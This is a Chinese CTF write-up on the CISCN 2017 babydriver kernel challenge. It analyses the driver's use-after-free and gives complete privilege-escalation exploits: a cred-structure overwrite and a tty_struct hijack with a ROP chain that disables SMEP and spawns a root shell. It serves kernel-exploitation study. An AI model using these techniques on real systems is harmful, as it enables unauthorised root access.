第一道内核pwn - CISCN 2017 babydriver

这是一道linux内核CTF的入门题,对于完全没有linux内核ko开发经验的同学,做这道题之前,建议先学一下宋宝华的《Linux设备驱动开发详解》并实践字符设备驱动的开发过程,了解read/write/ioctl/mmap这些基本内核接口的实现和原理。

第一种解法:

[CISCN 2017] babydriver

CISCN 2017 babydriver (UAF利用方法)

另一种解法:

linux kernel pwn学习之伪造tty_struct执行任意函数

分析

题目附件:CISCN2017-babydriver

本题漏洞ko为babydriver.ko,注册了如下一些函数对用户态提供服务

image-20220805171100848

babyopen() 函数中,申请了一个0x64大小的堆,然后将堆地址和大小赋给babydev_struct这个结构体的成员(device_buf占8字节,device_buf_len占2字节)。babydev_struct是一个全局变量,未设置任何保护措施。因此,当有两个用户同时打开open("/dev/babydev",2)该设备节点时,后一个open操作,将覆盖babydev_struct.device_buf上的值,导致两个用户(不同fd)指向同一堆块。

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, (_DWORD)filp, v2);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL);
return 0;
}

babyread()函数逻辑简单,判断用户态传入的长度是否小于babydev_struct.device_buf_len,如果满足条件则将babydev_struct.device_buf指向的内容拷贝到用户态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, (_DWORD)buffer, length);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
return v6;
}
return result;
}

babywrite()函数跟babyread()函数类似,判断条件通过后,将用户态的数据拷贝给babydev_struct.device_buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, (_DWORD)buffer, length);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
return v6;
}
return result;
}

babyioctl()只有一个分支(command),它先将babydev_struct.device_buf指向的堆块释放掉,然后根据用户态传入的arg参数申请任意大小堆块,并更新babydev_struct结构体中两个成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx

_fentry__(filp, command, arg);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 37748928LL);
return 0LL;
}
else
{
printk(&unk_2EB, v3);
return -22LL;
}
}

babyrelease()函数在close(fd)关闭设备节点时会被调用到,这里释放了babydev_struct.device_buf指向的堆块,但是并没有置空,存在UAF漏洞。

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, (_DWORD)filp, v2);
kfree(babydev_struct.device_buf);
printk("device release\n", filp);
return 0;
}

总结一下:

  • 两个用户(fd1, fd2)可以指向同一个内核结构体
  • 用户1(fd1)可以为该结构体申请一个任意大小的堆块然后释放该堆块
  • 用户2(fd2)获得一个垂悬指针。

利用

方法1 - 改子进程cred

前置知识:fork()一个子进程时,内核会为cred分配0xa8大小的堆用于存放结构体内容。

利用ioctl构造0xa8大小的堆块,然后调用close释放该堆块。紧接着fork一个子进程,就能为cred分配到刚刚释放的0xa8堆块。

最后通过垂悬指针更改cred内容,获得root shell。

在子进程中改堆中内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

int main(){
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2); // 两个fd在内核中对应同一个babydev_struct结构体

ioctl(fd1,0x10001,0xa8); // babydev_struct.device_buf被覆盖成0xa8大小堆的地址
close(fd1); // fd2在内核中获得一个垂悬指针

pid_t fpid;
fpid=fork(); // ?fork子进程,内核会为其cred结构体申请0xa8大小的堆,在无干扰的情况下,正好分配到上述释放的堆块
if (fpid < 0) {
printf("error in fork!\n");
exit(0);
}else if (fpid == 0) {
printf("child pid is : %d\n",getpid());
char zeros[30] = {0};
write(fd2,zeros,28); // ?通过fd2更改cred堆块内容,将uid,gid改为0
// if(getuid() == 0){
system("/bin/sh"); // 起一个shell(root)
exit(0);
// }
}else {
wait(NULL);
printf("parent pid is: %d\n",getpid());
}
printf("%d: going to close fd2\n",getpid());
close(fd2); //只有父进程会进入此处,子进程exit(0)时已退出

return 0;
}

父进程中使用wait(NULL);,防止子进程还未执行完成,父进程便已提前退出。wait(NULL)这篇文章中的 “尊老爱幼” 一词生动地解释了有无wait(NULL);的区别。

本题需在父进程中使用该等待,否则无法在fork的子进程中稳定获得shell。

image-20220805161208901

在父进程中改堆中内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

int main(){
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0xa8);
close(fd1);

pid_t fpid;
fpid=fork(); //子进程的cred结构体正好申请到close(fd1)释放的堆,但fd2依然有指针指向该堆块
if (fpid < 0) {
printf("error in fork!\n");
exit(0);
}else if (fpid == 0) {
printf("waiting..."); // 子进程中,等待3s,等父进程更改uid和gid
sleep(3);
system("/bin/sh"); // get root shell !!!
exit(0);
}else {
char zeros[30] = {0}; // 父进程中,通过fd2更改(UAF)堆块(子进程的cred结构体)
write(fd2,zeros,28);
wait(NULL); // 防止父进程退出导致子进程root shell被覆盖
}
close(fd2);
return 0;
}

方法2 - tty_struct

Linux中的tty、pty、pts与ptmx辨析

Linux伪终端

当用户打开/dev/ptmx设备节点时,内核会为其分配一个tty_struct结构体

该题目版本中,tty_struct大小:0x2e0

tty_struct->tty_operations的偏移为4+4+8+8=24

1
2
3
4
5
6
7
8
9
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
// ······
}
// 见网页https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty.h#L272

tty_operations结构体中部分成员如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
// ......
}

劫持控制流

使用如下代码段,在用户态伪造tty_operations结构体

1
2
3
4
size_t tty_operations_fake[30];
for(int j=0;j<30;j++){
tty_operations_fake[j]=0xffffffffc0000130+j;
}

分别测试对tty_operations->write()tty_operations->ioclt()劫持成功时的上下文情况。

  1. 劫持tty_operations中的write函数,0x7ffe270c1920是用户态伪造的tty_operations结构体地址

image-20220806174447004

  1. 劫持tty_operations中的ioctl函数,0x7ffe38927460是用户态伪造的tty_operations结构体地址

image-20220806174723108

寻找gadget

对于内核文件,使用ropper找可用gadget比ROPgadget的速度要快。

  • 安装
1
2
3
4
sudo pip install capstone
sudo pip install filebytes
sudo pip install keystone-engine
pip install ropper
  • 使用
1
2
ropper --file vmlinux --search "mov rsp, rax"
ropper --file vmlinux --search "mov rsp, rcx"

为实现root shell的目的,只执行一条gadget无法达成目的,为此我们需要构造ROP链。但是内核栈空间我们无法控制,因此考虑通过一条gadget先迁移栈到可控的空间,然后继续ROP。

对于非elf格式的二进制

1
2
3
4
ROPgadget --binary ./Image --rawArch=arm64 --rawMode=64 --rawEndian=little  > gadget.txt
ROPgadget --binary ./Image --rawArch=arm64 --rawMode=64 --rawEndian=little | grep "0xffffffffffffc000" | grep "ret" > target.txt

ropper --file ./Image -a ARM64 --search "mov %,sp;"

栈迁移(2次)

mov rsp, rax 或者 xchg rax rsp 之类的指令,迁移栈空间

本题使用ropper并未找到合适gadget,最后还是用ROPgadget找到的,如下:

1
2
3
4
5
6
$ ROPgadget --binary ./vmlinux > ropgadget.txt
$ cat ropgadget.txt | grep "mov rsp,"
······
0xffffffff8181bfc5 : mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
0xffffffff8181a7ef : mov rsp, rax ; pop rax ; jmp 0xffffffff8181a797
······

上一步劫持控制流中,劫持到tty_operations中的write函数时,RAX中存放了用户态伪造的tty_operations结构体地址。结合0xffffffff8181bfc5这条gadget,可以实现将栈迁移到tty_operations_fake[0]处。

由于rax指向的地址是tty_operations_fake[0]的首地址,执行几条gadget就会跟tty_operations->write(tty_operations_fake[7])重合。因此第一次劫持栈后,再做一次栈迁移,将栈迁移到一个局部数组变量中。

1
2
3
4
5
6
7
8
9
10
11
size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
size_t pop_rax = 0xffffffff8100ce6e; // pop rax; ret;

size_t tty_operations_fake[30];
for(int j=0;j<30;j++){
tty_operations_fake[j]=mov_rsp_rax;
}

tty_operations_fake[0] = pop_rax; // 将rax的值改为rop_chain的地址
tty_operations_fake[1] = (size_t)rop_chain;
tty_operations_fake[2] = mov_rsp_rax; // 第二次站迁移到rop_chain

关闭SMEP

SMEP - ctfwiki

补充wiki中的描述,当

1
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要

1
2
mov cr4, 0x407f0
# 0x1407e0 = 000 0 0100 0000 0111 1111 0000

CTF比赛中,常将cr4的值设置为0x6f0,来关闭SMEP。

本题通过ropper找到如下两条gadget,来修改cr4寄存器的值

1
2
0xffffffff810d238d: pop rdi; ret;
0xffffffff81004d80: mov cr4, rdi; pop rbp; ret;

执行提权函数

本题未开启KASLR,读取提权所需的内核符号地址如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/ $ cat /proc/kallsyms > /tmp/kallsyms.txt
/ $ cd tmp
/tmp $ ls
kallsyms.txt
/tmp $ cat kallsyms.txt | grep "prepare_kernel_cred"
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred
/tmp $ cat kallsyms.txt | grep "commit_creds"
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds

# 函数定义
# struct cred *prepare_kernel_cred(struct task_struct *);
# int commit_creds(struct cred *);

上一步已关闭SMEP,于是在用户态构造如下代码片段,即可提权

1
2
3
4
5
6
7
#define pkc_addr 0xffffffff810a1810
#define cc_addr 0xffffffff810a1420
void get_root(){
char* (*pkc)(int) = pkc_addr;
void (*cc)(char*) = cc_addr;
(*cc)((*pkc)(0));
}

返回用户态

FS/GS寄存器的用途

KERNEL PWN状态切换原理及KPTI绕过

  • swapgs

    一条简单的指令,交换用户态和内核态的GS寄存器。

  • iretq

    会从内核栈中恢复rip/cs/rflags/rsp/ss 这几个寄存器,执行iretq指令时,内核栈应按如下格式布局

    1
    2
    3
    4
    5
    rsp ---> rip 
    cs
    rflags
    rsp
    ss

    找到如下gadget

1
2
0xffffffff81063694: swapgs; pop rbp; ret; 
0xffffffff814e35ef: iretq; ret;

保存现场

为了能稳定返回用户态,在进入内核态前,应保存几个重要寄存器,供iretq时使用。参考代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// pushf 标志寄存器入栈
// popf 标志寄存器出栈

完整EXP

注意,exp需静态编译,且需更改boot.sh,将-enable-kvm参数删除,才能利用该exp打成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

size_t pkc_addr = 0xffffffff810a1810;
size_t cc_addr = 0xffffffff810a1420;
void get_root(){
char* (*pkc)(int) = pkc_addr;
void (*cc)(char*) = cc_addr;
(*cc)((*pkc)(0));
}

void get_shell(){
system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status()
{
__asm__("mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main(){
save_status();

size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
size_t pop_rax = 0xffffffff8100ce6e; // pop rax; ret;

size_t rop_chain[30] = {0};
int index = 0;
rop_chain[index++] = 0xffffffff810d238d; // pop rdi; ret;
rop_chain[index++] = 0x6f0;
rop_chain[index++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop_chain[index++] = 0x0;
rop_chain[index++] = (size_t)get_root;
rop_chain[index++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop_chain[index++] = 0x0;
rop_chain[index++] = 0xffffffff814e35ef; // iretq; ret;
rop_chain[index++] = (size_t)get_shell;
rop_chain[index++] = user_cs;
rop_chain[index++] = user_rflags;
rop_chain[index++] = user_sp;
rop_chain[index++] = user_ss;

size_t tty_operations_fake[30];
for(int j=0;j<30;j++){
tty_operations_fake[j]=mov_rsp_rax;
}

int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0x2e0);
close(fd1);

int fd_tty = open("dev/ptmx",2);

size_t tty_struct_leak[4];
read(fd2,tty_struct_leak,32);

tty_operations_fake[0] = pop_rax;
tty_operations_fake[1] = (size_t)rop_chain;
tty_operations_fake[2] = mov_rsp_rax;

tty_struct_leak[3] = (size_t)tty_operations_fake;
write(fd2,tty_struct_leak,32);

size_t a[4] = {0,0,0,0};
write(fd_tty,a,32);
// ioctl(fd_tty,0x100,32);

close(fd2);
return 0;
}

其他

cpio解压与压缩

1
2
3
4
5
6
7
# 解压
$ gunzip filename.cpio.gz
$ cpio -idmv < filename.cpio
# 压缩
$ find . | cpio -o -H newc > filename.cpio
# 或 find . | cpio -o > filename.cpio
# 或 find . | cpio -o --format=newc > ../rootfs.cpio

其他情况参考:cpio解压initramfs.img

将bzImage转化成vmlinux

vmlinux即内核符号文件?

1
$ /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux

vmlinux与bzimage的区别

1
2
3
4
$ file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=76517ec1ebecb36ffb324a8b5b0495c51625c53b, stripped
$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 4.15.8 (root@ubuntu) #3 SMP Thu Jun 3 01:01:56 PDT 2021, RO-rootFS, swap_dev 0x7, Normal VGA

ko代码段与bss段的地址

调试内核模块bss段时,要注意实际地址跟IDA分析出来的地址不一样。

babydriver.ko的加载地址是0xffffffffc0000000,text段如babyopen()函数(IDA中显示偏移为0x30)的实际地址为0xffffffffc0000030,而bss段babydev_struct结构体(IDA中显示偏移为0xd90)的实际地址为0xffffffffc00024d0

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/10gx 0xffffffffc0000d90
0xffffffffc0000d90: 0x0000000000000000 0x0000000000000000
0xffffffffc0000da0: 0x0000000000000000 0x0000000000000000
0xffffffffc0000db0: 0x0000000000000000 0x0000000000000000
0xffffffffc0000dc0: 0x0000000000000000 0x0000000000000000
0xffffffffc0000dd0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0xffffffffc00024d0
0xffffffffc00024d0: 0xffff8800027dcb00 0x0000000000000040
0xffffffffc00024e0: 0x0000000000000000 0x0000000000000000
0xffffffffc00024f0: 0x0000000000000000 0x0000000000000000
0xffffffffc0002500: 0x0000000000000000 0x0000000000000000
0xffffffffc0002510: 0x0000000000000000 0x0000000000000000